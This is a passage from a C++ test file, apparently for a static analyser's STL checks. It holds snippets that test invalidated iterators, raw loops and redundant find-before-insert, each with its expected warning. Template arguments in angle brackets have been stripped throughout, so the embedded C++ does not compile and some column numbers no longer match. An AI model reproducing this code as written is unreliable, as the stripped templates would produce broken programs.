ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == 